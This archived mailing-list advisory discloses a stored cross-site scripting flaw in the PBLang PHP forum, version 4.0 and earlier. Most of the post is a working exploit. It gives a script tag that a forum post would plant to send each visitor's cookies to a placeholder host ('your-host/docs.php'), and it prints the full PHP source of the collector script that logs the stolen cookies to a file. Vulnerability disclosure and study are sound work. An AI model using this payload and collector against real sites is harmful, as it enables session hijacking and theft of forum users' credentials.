PBLang Forum XSS Vul

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 




PBLang is a web forum written by PHP language. A security vulnerability in 
the product allows posting of HTML code and JavaScript into existing web 
pages thus causing it to be executed on the client end (a Cross-Site 
Scripting vuln).

|--------------------------------------------|

Vulnerable systems: PBLang forum
Version:   4.0 or lower
Website: http://pblang.drmartinus.de/
Problem: Cross Site Scripting (XSS)

|--------------------------------------------|

If someone inserts <script>`anyscript`</script> instead of the post?s 
content, the JavaScript code is executed by Internet Explorer or some 
other web browsers. This allows stealing of cookie data and other 
interesting things? 

Exploit:

Inserting a new topic (or reply) with the following script, it will send 
visitor's cookies to your host. The output is saved to http://your-
host/cookie.txt 

*--------------------------------------------------------------------------
-------------------

<script>window.open("http://your-host/docs.php?docs="+escape
(document.cookie), "subwindows", "height=100,width=486")</script>

---------------------------------------------------------------------------
------------------*

Or insert every scripts ? Java and HTML (ex: javascript:history.go(-1), 
window.write(?Hello world?), javascript:alert(?Hi!!!?)? )


* Code of docs.php:*

*-------------------------------------------------docs.php-----------------
-------------------------------
<?php
//Copyright by W_Hat (www.pcworldvn.com)
define ("LINE", "\r\n");
define ("HTML_LINE", "<br>"); 
function getvars($arr, $title)
{
$res = "";
$len = count($arr);
if ($len>0)
{
if (strlen($title)>0)
{
print("[--------$title--------]" . HTML_LINE);
$res .= "[--------$title--------]" . LINE;
}
foreach ($arr as $key => $value)
{
print("[$key]" . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= "[$key]" . LINE . $arr[$key] . LINE;
}
}
return $res;
} 
// get current date
$now = date("Y-m-d H:i:s"); 
// init
$myData = "[-----$now-----]" . LINE; 
// get
$myData .= getvars($HTTP_GET_VARS, ""); 
// file
$file = $REMOTE_ADDR . "cookie.txt";
$mode = "r+";
if (!file_exists($file))
$mode = "w+";
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
?>
-------------------------------------------------docs.php------------------
------------------------------*


Name: Quan Van Truong
E-Mail: quan_vu_208cn@yahoo.com
Occupation: Bug Hunter


[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux